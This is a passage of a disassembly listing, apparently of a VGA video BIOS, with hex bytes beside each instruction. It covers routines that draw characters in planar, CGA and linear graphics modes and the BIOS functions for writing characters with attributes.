; 8b 46 e2 cld ; fc jcxz 01895h ; e3 02 rep stosw ; f3 ab jmp short 018e9h ; eb 52 mov al, byte [bp-00eh] ; 8a 46 f2 mov di, ax ; 89 c7 mov al, byte [bp-006h] ; 8a 46 fa mov dx, word [bp-016h] ; 8b 56 ea sub dx, ax ; 29 c2 mov ax, dx ; 89 d0 mul word [bp-018h] ; f7 66 e8 mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 add dx, ax ; 01 c2 add dx, dx ; 01 d2 mov word [bp-01eh], dx ; 89 56 e2 mov al, byte [bp-00ch] ; 8a 46 f4 mov si, ax ; 89 c6 sal si, 003h ; c1 e6 03 mov ax, word [si+04633h] ; 8b 84 33 46 mov word [bp-014h], ax ; 89 46 ec mov ax, word [bp-016h] ; 8b 46 ea mul word [bp-018h] ; f7 66 e8 add ax, cx ; 01 c8 add ax, ax ; 01 c0 add ax, bx ; 01 d8 mov cx, di ; 89 f9 mov si, word [bp-01eh] ; 8b 76 e2 mov dx, word [bp-014h] ; 8b 56 ec mov di, ax ; 89 c7 mov es, dx ; 8e c2 cld ; fc jcxz 018e9h ; e3 06 push DS ; 1e mov ds, dx ; 8e da rep movsw ; f3 a5 pop DS ; 1f mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jc short 0191eh ; 72 2b dec word [bp-016h] ; ff 4e ea jmp near 0183fh ; e9 46 ff mov al, byte [bx+046afh] ; 8a 87 af 46 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 006h ; c1 e3 06 mov al, byte [bx+046c5h] ; 8a 87 c5 46 mov byte [bp-012h], al ; 88 46 ee mov bl, byte [di+04631h] ; 8a 9d 31 46 cmp bl, 004h ; 80 fb 04 je short 01921h ; 74 0d cmp bl, 003h ; 80 fb 03 je short 01921h ; 74 08 cmp bl, 002h ; 80 fb 02 je short 01950h ; 74 32 jmp near 01bbbh ; e9 9a 02 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 0198bh ; 75 64 cmp byte [bp-00ah], 000h ; 80 7e f6 00 jne short 0198bh ; 75 5e cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 0198bh ; 75 58 mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov ax, cx ; 89 c8 dec ax ; 48 cmp dx, ax ; 39 c2 jne short 0198bh ; 75 4a mov al, byte [bp+006h] ; 8a 46 06 xor ah, ah ; 30 e4 mov dx, word [bp-018h] ; 8b 56 e8 dec dx ; 4a cmp ax, dx ; 39 d0 je short 01953h ; 74 05 jmp short 0198bh ; eb 3b jmp near 01a80h ; e9 2d 01 mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, cx ; 89 c8 mul word [bp-018h] ; f7 66 e8 mov bl, byte [bp-012h] ; 8a 5e ee xor bh, bh ; 30 ff mul bx ; f7 e3 mov cx, ax ; 89 c1 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 mov dl, byte [bp-00ch] ; 8a 56 f4 xor dh, dh ; 30 f6 mov bx, dx ; 89 d3 sal bx, 003h ; c1 e3 03 mov es, [bx+04633h] ; 8e 87 33 46 xor di, di ; 31 ff cld ; fc jcxz 01982h ; e3 02 rep stosb ; f3 aa mov ax, strict word 00005h ; b8 05 00 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef jmp short 0191eh ; eb 93 cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne short 019e1h ; 75 50 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 cmp ax, word [bp-016h] ; 3b 46 ea jc short 01a07h ; 72 62 mov al, byte [bp-006h] ; 8a 46 fa add ax, word [bp-016h] ; 03 46 ea cmp ax, dx ; 39 d0 jnbe short 019b5h ; 77 06 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 019e3h ; 75 2e mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-012h] ; 8a 46 ee push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 mov cx, ax ; 89 c1 mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dl, byte [bp-008h] ; 8a 56 f8 mov byte [bp-014h], dl ; 88 56 ec mov byte [bp-013h], ah ; 88 66 ed mov si, word [bp-014h] ; 8b 76 ec mov dx, ax ; 89 c2 mov ax, si ; 89 f0 call 01484h ; e8 a5 fa jmp short 01a02h ; eb 21 jmp short 01a0ah ; eb 27 mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-00eh] ; 8a 46 f2 mov cx, ax ; 89 c1 mov al, byte [bp-016h] ; 8a 46 ea mov bx, ax ; 89 c3 add al, byte [bp-006h] ; 02 46 fa mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 013f5h ; e8 f3 f9 inc word [bp-016h] ; ff 46 ea jmp short 01999h ; eb 92 jmp near 01bbbh ; e9 b1 01 mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jnbe short 01a07h ; 77 eb mov dx, ax ; 89 c2 mov al, byte [bp-006h] ; 8a 46 fa add ax, dx ; 01 d0 cmp ax, word [bp-016h] ; 3b 46 ea jnbe short 01a2eh ; 77 06 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01a4fh ; 75 21 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-012h] ; 8a 46 ee push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 mov cx, ax ; 89 c1 mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 01484h ; e8 37 fa jmp short 01a71h ; eb 22 mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-00eh] ; 8a 46 f2 mov cx, ax ; 89 c1 mov al, byte [bp-016h] ; 8a 46 ea sub al, byte [bp-006h] ; 2a 46 fa mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 013f5h ; e8 84 f9 mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jc short 01ac5h ; 72 4a dec word [bp-016h] ; ff 4e ea jmp short 01a12h ; eb 92 mov bl, byte [di+04632h] ; 8a 9d 32 46 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01ac8h ; 75 3e cmp byte [bp-00ah], 000h ; 80 7e f6 00 jne short 01ac8h ; 75 38 cmp byte [bp-008h], 000h ; 80 7e f8 00 jne short 01ac8h ; 75 32 mov al, byte [bp+004h] ; 8a 46 04 cmp ax, word [bp-01ch] ; 3b 46 e4 jne short 01ac8h ; 75 2a mov al, byte [bp+006h] ; 8a 46 06 cmp ax, word [bp-01ah] ; 3b 46 e6 jne short 01ac8h ; 75 22 mov al, byte [bp-012h] ; 8a 46 ee mov dx, ax ; 89 c2 mov ax, si ; 89 f0 mul dx ; f7 e2 xor bh, bh ; 30 ff mul bx ; f7 e3 mov bl, byte [bp-010h] ; 8a 5e f0 mov es, [di+04633h] ; 8e 85 33 46 mov cx, ax ; 89 c1 mov ax, bx ; 89 d8 xor di, di ; 31 ff cld ; fc jcxz 01ac5h ; e3 02 rep stosb ; f3 aa jmp near 01bbbh ; e9 f3 00 cmp bl, 002h ; 80 fb 02 jne short 01ad6h ; 75 09 sal byte [bp-008h], 1 ; d0 66 f8 sal byte [bp-00eh], 1 ; d0 66 f2 sal word [bp-018h], 1 ; d1 66 e8 cmp byte [bp+00ah], 001h ; 80 7e 0a 01 jne short 01b45h ; 75 69 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 cmp ax, word [bp-016h] ; 3b 46 ea jc short 01ac5h ; 72 d5 mov al, byte [bp-006h] ; 8a 46 fa add ax, word [bp-016h] ; 03 46 ea cmp ax, dx ; 39 d0 jnbe short 01b00h ; 77 06 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01b21h ; 75 21 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-012h] ; 8a 46 ee push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 mov cx, ax ; 89 c1 mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 015c2h ; e8 a3 fa jmp short 01b40h ; eb 1f mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-00eh] ; 8a 46 f2 mov cx, ax ; 89 c1 mov al, byte [bp-016h] ; 8a 46 ea mov bx, ax ; 89 c3 add al, byte [bp-006h] ; 02 46 fa mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 01500h ; e8 c0 f9 inc word [bp-016h] ; ff 46 ea jmp short 01ae4h ; eb 9f mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov word [bp-016h], ax ; 89 46 ea mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jnbe short 01bbbh ; 77 64 mov dx, ax ; 89 c2 mov al, byte [bp-006h] ; 8a 46 fa add ax, dx ; 01 d0 cmp ax, word [bp-016h] ; 3b 46 ea jnbe short 01b69h ; 77 06 cmp byte [bp-006h], 000h ; 80 7e fa 00 jne short 01b8ah ; 75 21 mov al, byte [bp-010h] ; 8a 46 f0 xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-012h] ; 8a 46 ee push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 mov cx, ax ; 89 c1 mov al, byte [bp-00eh] ; 8a 46 f2 mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 015c2h ; e8 3a fa jmp short 01bach ; eb 22 mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 push ax ; 50 mov al, byte [bp-018h] ; 8a 46 e8 push ax ; 50 mov al, byte [bp-00eh] ; 8a 46 f2 mov cx, ax ; 89 c1 mov al, byte [bp-016h] ; 8a 46 ea sub al, byte [bp-006h] ; 2a 46 fa mov bx, ax ; 89 c3 mov al, byte [bp-016h] ; 8a 46 ea mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 call 01500h ; e8 54 f9 mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jc short 01bbbh ; 72 05 dec word [bp-016h] ; ff 4e ea jmp short 01b4dh ; eb 92 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00008h ; c2 08 00 write_gfx_char_pl4_: ; 0xc1bc4 LB 0xfb push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000eh ; 83 ec 0e mov byte [bp-006h], al ; 88 46 fa mov byte [bp-008h], dl ; 88 56 f8 mov byte [bp-00ah], bl ; 88 5e f6 mov al, cl ; 88 c8 cmp byte [bp+006h], 010h ; 80 7e 06 10 je short 01be8h ; 74 0b cmp byte [bp+006h], 00eh ; 80 7e 06 0e jne short 01bedh ; 75 0a mov di, 05bedh ; bf ed 5b jmp short 01bf0h ; eb 08 mov di, 069edh ; bf ed 69 jmp short 01bf0h ; eb 03 mov di, 053edh ; bf ed 53 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov al, byte [bp+006h] ; 8a 46 06 mov si, ax ; 89 c6 mov ax, bx ; 89 d8 imul si ; f7 ee mov bl, byte [bp+004h] ; 8a 5e 04 imul bx ; f7 eb mov bx, ax ; 89 c3 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 add ax, bx ; 01 d8 mov word [bp-010h], ax ; 89 46 f0 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 imul si ; f7 ee mov word [bp-00eh], ax ; 89 46 f2 mov ax, 00f02h ; b8 02 0f mov dx, 003c4h ; ba c4 03 out DX, ax ; ef mov ax, 00205h ; b8 05 02 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef test byte [bp-008h], 080h ; f6 46 f8 80 je short 01c32h ; 74 06 mov ax, 01803h ; b8 03 18 out DX, ax ; ef jmp short 01c36h ; eb 04 mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef xor ch, ch ; 30 ed cmp ch, byte [bp+006h] ; 3a 6e 06 jnc short 01ca7h ; 73 6a mov al, ch ; 88 e8 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov al, byte [bp+004h] ; 8a 46 04 mov si, ax ; 89 c6 mov ax, bx ; 89 d8 imul si ; f7 ee mov si, word [bp-010h] ; 8b 76 f0 add si, ax ; 01 c6 mov byte [bp-00ch], bh ; 88 7e f4 jmp short 01c69h ; eb 13 xor bx, bx ; 31 db mov dx, si ; 89 f2 mov ax, 0a000h ; b8 00 a0 call 03196h ; e8 36 15 inc byte [bp-00ch] ; fe 46 f4 cmp byte [bp-00ch], 008h ; 80 7e f4 08 jnc short 01ca3h ; 73 3a mov cl, byte [bp-00ch] ; 8a 4e f4 mov ax, 00080h ; b8 80 00 sar ax, CL ; d3 f8 xor ah, ah ; 30 e4 mov word [bp-012h], ax ; 89 46 ee sal ax, 008h ; c1 e0 08 or AL, strict byte 008h ; 0c 08 mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov dx, si ; 89 f2 mov ax, 0a000h ; b8 00 a0 call 03188h ; e8 01 15 mov al, ch ; 88 e8 xor ah, ah ; 30 e4 mov bx, word [bp-00eh] ; 8b 5e f2 add bx, ax ; 01 c3 add bx, di ; 01 fb mov al, byte [bx] ; 8a 07 test word [bp-012h], ax ; 85 46 ee je short 01c56h ; 74 bd mov bl, byte [bp-008h] ; 8a 5e f8 and bl, 00fh ; 80 e3 0f xor bh, bh ; 30 ff jmp short 01c58h ; eb b5 db 0feh, 0c5h ; inc ch ; fe c5 jmp short 01c38h ; eb 91 mov ax, 0ff08h ; b8 08 ff mov dx, 003ceh ; ba ce 03 out DX, ax ; ef mov ax, strict word 00005h ; b8 05 00 out DX, ax ; ef mov ax, strict word 00003h ; b8 03 00 out DX, ax ; ef lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 write_gfx_char_cga_: ; 0xc1cbf LB 0x138 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ah ; 83 ec 0a mov byte [bp-00ah], al ; 88 46 f6 mov byte [bp-008h], dl ; 88 56 f8 mov al, bl ; 88 d8 mov si, 053edh ; be ed 53 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov al, byte [bp+006h] ; 8a 46 06 mov dx, ax ; 89 c2 mov ax, bx ; 89 d8 imul dx ; f7 ea mov bx, ax ; 89 c3 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 imul ax, ax, 00140h ; 69 c0 40 01 add bx, ax ; 01 c3 mov word [bp-00eh], bx ; 89 5e f2 mov al, byte [bp-00ah] ; 8a 46 f6 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 sal di, 003h ; c1 e7 03 mov byte [bp-006h], ah ; 88 66 fa jmp near 01d50h ; e9 52 00 xor al, al ; 30 c0 xor ah, ah ; 30 e4 jmp short 01d0fh ; eb 0b or al, bl ; 08 d8 shr ch, 1 ; d0 ed db 0feh, 0c4h ; inc ah ; fe c4 cmp ah, 008h ; 80 fc 08 jnc short 01d3ah ; 73 2b mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff add bx, di ; 01 fb add bx, si ; 01 f3 mov bl, byte [bx] ; 8a 1f xor bh, bh ; 30 ff mov dx, bx ; 89 da mov bl, ch ; 88 eb test dx, bx ; 85 da je short 01d06h ; 74 e2 mov CL, strict byte 007h ; b1 07 sub cl, ah ; 28 e1 mov bl, byte [bp-008h] ; 8a 5e f8 and bl, 001h ; 80 e3 01 sal bl, CL ; d2 e3 test byte [bp-008h], 080h ; f6 46 f8 80 je short 01d04h ; 74 ce xor al, bl ; 30 d8 jmp short 01d06h ; eb cc xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0b800h ; b8 00 b8 call 03196h ; e8 4f 14 inc byte [bp-006h] ; fe 46 fa cmp byte [bp-006h], 008h ; 80 7e fa 08 jnc short 01da0h ; 73 50 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 sar ax, 1 ; d1 f8 imul ax, ax, strict byte 00050h ; 6b c0 50 mov dx, word [bp-00eh] ; 8b 56 f2 add dx, ax ; 01 c2 mov word [bp-00ch], dx ; 89 56 f4 test byte [bp-006h], 001h ; f6 46 fa 01 je short 01d6ch ; 74 04 add byte [bp-00bh], 020h ; 80 46 f5 20 mov CH, strict byte 080h ; b5 80 cmp byte [bp+006h], 001h ; 80 7e 06 01 jne short 01d85h ; 75 11 test byte [bp-008h], ch ; 84 6e f8 je short 01cfeh ; 74 85 mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0b800h ; b8 00 b8 call 03188h ; e8 06 14 jmp near 01d00h ; e9 7b ff test ch, ch ; 84 ed jbe short 01d47h ; 76 be test byte [bp-008h], 080h ; f6 46 f8 80 je short 01d9ah ; 74 0b mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0b800h ; b8 00 b8 call 03188h ; e8 f0 13 jmp short 01d9ch ; eb 02 xor al, al ; 30 c0 xor ah, ah ; 30 e4 jmp short 01da7h ; eb 07 jmp short 01deeh ; eb 4c cmp ah, 004h ; 80 fc 04 jnc short 01ddch ; 73 35 mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff add bx, di ; 01 fb add bx, si ; 01 f3 mov bl, byte [bx] ; 8a 1f xor bh, bh ; 30 ff mov dx, bx ; 89 da mov bl, ch ; 88 eb test dx, bx ; 85 da je short 01dd6h ; 74 1a mov CL, strict byte 003h ; b1 03 sub cl, ah ; 28 e1 mov bl, byte [bp-008h] ; 8a 5e f8 and bl, 003h ; 80 e3 03 add cl, cl ; 00 c9 sal bl, CL ; d2 e3 test byte [bp-008h], 080h ; f6 46 f8 80 je short 01dd4h ; 74 04 xor al, bl ; 30 d8 jmp short 01dd6h ; eb 02 or al, bl ; 08 d8 shr ch, 1 ; d0 ed db 0feh, 0c4h ; inc ah ; fe c4 jmp short 01da2h ; eb c6 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 mov dx, word [bp-00ch] ; 8b 56 f4 mov ax, 0b800h ; b8 00 b8 call 03196h ; e8 ad 13 inc word [bp-00ch] ; ff 46 f4 jmp short 01d85h ; eb 97 lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00004h ; c2 04 00 write_gfx_char_lin_: ; 0xc1df7 LB 0xaa push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0000ch ; 83 ec 0c mov byte [bp-00ah], al ; 88 46 f6 mov byte [bp-00ch], dl ; 88 56 f4 mov byte [bp-006h], bl ; 88 5e fa mov al, cl ; 88 c8 mov si, 053edh ; be ed 53 xor ah, ah ; 30 e4 mov bl, byte [bp+004h] ; 8a 5e 04 xor bh, bh ; 30 ff imul bx ; f7 eb sal ax, 006h ; c1 e0 06 mov bl, byte [bp-006h] ; 8a 5e fa mov dx, bx ; 89 da sal dx, 003h ; c1 e2 03 add dx, ax ; 01 c2 mov word [bp-00eh], dx ; 89 56 f2 mov bl, byte [bp-00ah] ; 8a 5e f6 mov di, bx ; 89 df sal di, 003h ; c1 e7 03 xor cl, cl ; 30 c9 jmp short 01e76h ; eb 44 cmp ch, 008h ; 80 fd 08 jnc short 01e6fh ; 73 38 xor dl, dl ; 30 d2 mov al, cl ; 88 c8 xor ah, ah ; 30 e4 add ax, di ; 01 f8 mov bx, si ; 89 f3 add bx, ax ; 01 c3 mov al, byte [bx] ; 8a 07 xor ah, ah ; 30 e4 mov bl, byte [bp-008h] ; 8a 5e f8 xor bh, bh ; 30 ff test ax, bx ; 85 d8 je short 01e53h ; 74 03 mov dl, byte [bp-00ch] ; 8a 56 f4 mov bl, dl ; 88 d3 xor bh, bh ; 30 ff mov ax, bx ; 89 d8 mov bl, ch ; 88 eb mov dx, word [bp-010h] ; 8b 56 f0 add dx, bx ; 01 da mov bx, ax ; 89 c3 mov ax, 0a000h ; b8 00 a0 call 03196h ; e8 2e 13 shr byte [bp-008h], 1 ; d0 6e f8 db 0feh, 0c5h ; inc ch ; fe c5 jmp short 01e32h ; eb c3 db 0feh, 0c1h ; inc cl ; fe c1 cmp cl, 008h ; 80 f9 08 jnc short 01e98h ; 73 22 mov bl, cl ; 88 cb xor bh, bh ; 30 ff mov al, byte [bp+004h] ; 8a 46 04 xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov ax, bx ; 89 d8 imul dx ; f7 ea sal ax, 003h ; c1 e0 03 mov dx, word [bp-00eh] ; 8b 56 f2 add dx, ax ; 01 c2 mov word [bp-010h], dx ; 89 56 f0 mov byte [bp-008h], 080h ; c6 46 f8 80 xor ch, ch ; 30 ed jmp short 01e37h ; eb 9f lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn 00002h ; c2 02 00 biosfn_write_char_attr_: ; 0xc1ea1 LB 0x18d push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 00018h ; 83 ec 18 mov byte [bp-00ah], al ; 88 46 f6 mov byte [bp-00ch], dl ; 88 56 f4 mov byte [bp-008h], bl ; 88 5e f8 mov si, cx ; 89 ce mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 cb 12 xor ah, ah ; 30 e4 call 03160h ; e8 9e 12 mov cl, al ; 88 c1 mov byte [bp-014h], al ; 88 46 ec cmp AL, strict byte 0ffh ; 3c ff jne short 01eceh ; 75 03 jmp near 02027h ; e9 59 01 mov al, byte [bp-00ch] ; 8a 46 f4 xor ah, ah ; 30 e4 lea bx, [bp-01ch] ; 8d 5e e4 lea dx, [bp-01ah] ; 8d 56 e6 call 00a8bh ; e8 af eb mov al, byte [bp-01ch] ; 8a 46 e4 mov byte [bp-006h], al ; 88 46 fa mov ax, word [bp-01ch] ; 8b 46 e4 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-012h], al ; 88 46 ee mov dx, 00084h ; ba 84 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 92 12 xor ah, ah ; 30 e4 inc ax ; 40 mov word [bp-018h], ax ; 89 46 e8 mov dx, strict word 0004ah ; ba 4a 00 mov ax, strict word 00040h ; b8 40 00 call 031a4h ; e8 9f 12 mov bx, ax ; 89 c3 mov word [bp-016h], ax ; 89 46 ea mov al, cl ; 88 c8 xor ah, ah ; 30 e4 mov di, ax ; 89 c7 sal di, 003h ; c1 e7 03 cmp byte [di+04630h], 000h ; 80 bd 30 46 00 jne short 01f6ch ; 75 52 mov ax, bx ; 89 d8 mul word [bp-018h] ; f7 66 e8 add ax, ax ; 01 c0 or AL, strict byte 0ffh ; 0c ff mov dx, ax ; 89 c2 mov al, byte [bp-00ch] ; 8a 46 f4 xor ah, ah ; 30 e4 mov cx, ax ; 89 c1 mov ax, dx ; 89 d0 inc ax ; 40 mul cx ; f7 e1 mov cx, ax ; 89 c1 mov al, byte [bp-012h] ; 8a 46 ee xor ah, ah ; 30 e4 mul bx ; f7 e3 mov bl, byte [bp-006h] ; 8a 5e fa xor bh, bh ; 30 ff mov dx, ax ; 89 c2 add dx, bx ; 01 da add dx, dx ; 01 d2 add dx, cx ; 01 ca mov al, byte [bp-008h] ; 8a 46 f8 xor ah, ah ; 30 e4 mov bx, ax ; 89 c3 sal bx, 008h ; c1 e3 08 mov al, byte [bp-00ah] ; 8a 46 f6 add bx, ax ; 01 c3 mov word [bp-01ah], bx ; 89 5e e6 mov ax, word [bp-01ah] ; 8b 46 e6 mov es, [di+04633h] ; 8e 85 33 46 mov cx, si ; 89 f1 mov di, dx ; 89 d7 cld ; fc jcxz 01f69h ; e3 02 rep stosw ; f3 ab jmp near 02027h ; e9 bb 00 mov bx, ax ; 89 c3 mov al, byte [bx+046afh] ; 8a 87 af 46 mov bx, ax ; 89 c3 sal bx, 006h ; c1 e3 06 mov al, byte [bx+046c5h] ; 8a 87 c5 46 mov byte [bp-00eh], al ; 88 46 f2 mov al, byte [di+04632h] ; 8a 85 32 46 mov byte [bp-010h], al ; 88 46 f0 dec si ; 4e cmp si, strict byte 0ffffh ; 83 fe ff je short 01f95h ; 74 0a mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 cmp ax, word [bp-016h] ; 3b 46 ea jc short 01f98h ; 72 03 jmp near 02027h ; e9 8f 00 mov al, byte [bp-014h] ; 8a 46 ec mov bx, ax ; 89 c3 sal bx, 003h ; c1 e3 03 mov al, byte [bx+04631h] ; 8a 87 31 46 cmp AL, strict byte 003h ; 3c 03 jc short 01fb4h ; 72 0c jbe short 01fbah ; 76 10 cmp AL, strict byte 005h ; 3c 05 je short 02008h ; 74 5a cmp AL, strict byte 004h ; 3c 04 je short 01fbah ; 74 08 jmp short 02021h ; eb 6d cmp AL, strict byte 002h ; 3c 02 je short 01fe3h ; 74 2b jmp short 02021h ; eb 67 mov bl, byte [bp-00eh] ; 8a 5e f2 xor bh, bh ; 30 ff push bx ; 53 mov bl, byte [bp-016h] ; 8a 5e ea push bx ; 53 mov bl, byte [bp-012h] ; 8a 5e ee mov cx, bx ; 89 d9 mov al, byte [bp-006h] ; 8a 46 fa xor ah, ah ; 30 e4 mov dx, ax ; 89 c2 mov al, byte [bp-008h] ; 8a 46 f8 mov bl, byte [bp-00ah] ; 8a 5e f6 mov di, bx ; 89 df mov bx, dx ; 89 d3 mov dx, ax ; 89 c2 mov ax, di ; 89 f8 call 01bc4h ; e8 e3 fb jmp short 02021h ; eb 3e mov al, byte [bp-010h] ; 8a 46 f0 push ax ; 50 mov al, byte [bp-016h] ; 8a 46 ea push ax ; 50 mov al, byte [bp-012h] ; 8a 46 ee mov cx, ax ; 89 c1 mov al, byte [bp-006h] ; 8a 46 fa mov bl, byte [bp-008h] ; 8a 5e f8 xor bh, bh ; 30 ff mov dx, bx ; 89 da mov bl, byte [bp-00ah] ; 8a 5e f6 mov di, bx ; 89 df mov bx, ax ; 89 c3 mov ax, di ; 89 f8 call 01cbfh ; e8 b9 fc jmp short 02021h ; eb 19 mov al, byte [bp-016h] ; 8a 46 ea push ax ; 50 mov bl, byte [bp-012h] ; 8a 5e ee xor bh, bh ; 30 ff mov cx, bx ; 89 d9 mov bl, byte [bp-006h] ; 8a 5e fa mov al, byte [bp-008h] ; 8a 46 f8 mov dx, ax ; 89 c2 mov al, byte [bp-00ah] ; 8a 46 f6 call 01df7h ; e8 d6 fd inc byte [bp-006h] ; fe 46 fa jmp near 01f85h ; e9 5e ff lea sp, [bp-004h] ; 8d 66 fc pop di ; 5f pop si ; 5e pop bp ; 5d retn ; c3 biosfn_write_char_only_: ; 0xc202e LB 0x196 push bp ; 55 mov bp, sp ; 89 e5 push si ; 56 push di ; 57 sub sp, strict byte 0001ah ; 83 ec 1a mov byte [bp-006h], al ; 88 46 fa mov byte [bp-00ah], dl ; 88 56 f6 mov byte [bp-010h], bl ; 88 5e f0 mov si, cx ; 89 ce mov dx, strict word 00049h ; ba 49 00 mov ax, strict word 00040h ; b8 40 00 call 03188h ; e8 3e 11 mov bl, al ; 88 c3 xor bh, bh ; 30 ff mov ax, bx ; 89 d8 call 03160h ; e8 0d 11 mov byte [bp-008h], al ; 88 46 f8 mov byte [bp-00eh], al ; 88 46 f2 cmp AL, strict byte 0ffh ; 3c ff jne short 02060h ; 75 03 jmp near 021bdh ; e9 5d 01 mov bl, byte [bp-00ah] ; 8a 5e f6 mov ax, bx ; 89 d8 lea bx, [bp-01eh] ; 8d 5e e2 lea dx, [bp-01ch] ; 8d 56 e4 call 00a8bh ; e8 1d ea mov al, byte [bp-01eh] ; 8a 46 e2 mov byte [bp-014h], al ; 88 46 ec mov ax, word [bp-01eh] ; 8b 46 e2 xor al, al ; 30 c0 shr ax, 008h ; c1 e8 08 mov byte [bp-00ch], al ; 88 46 f4 mov dx, 00084h ; ba 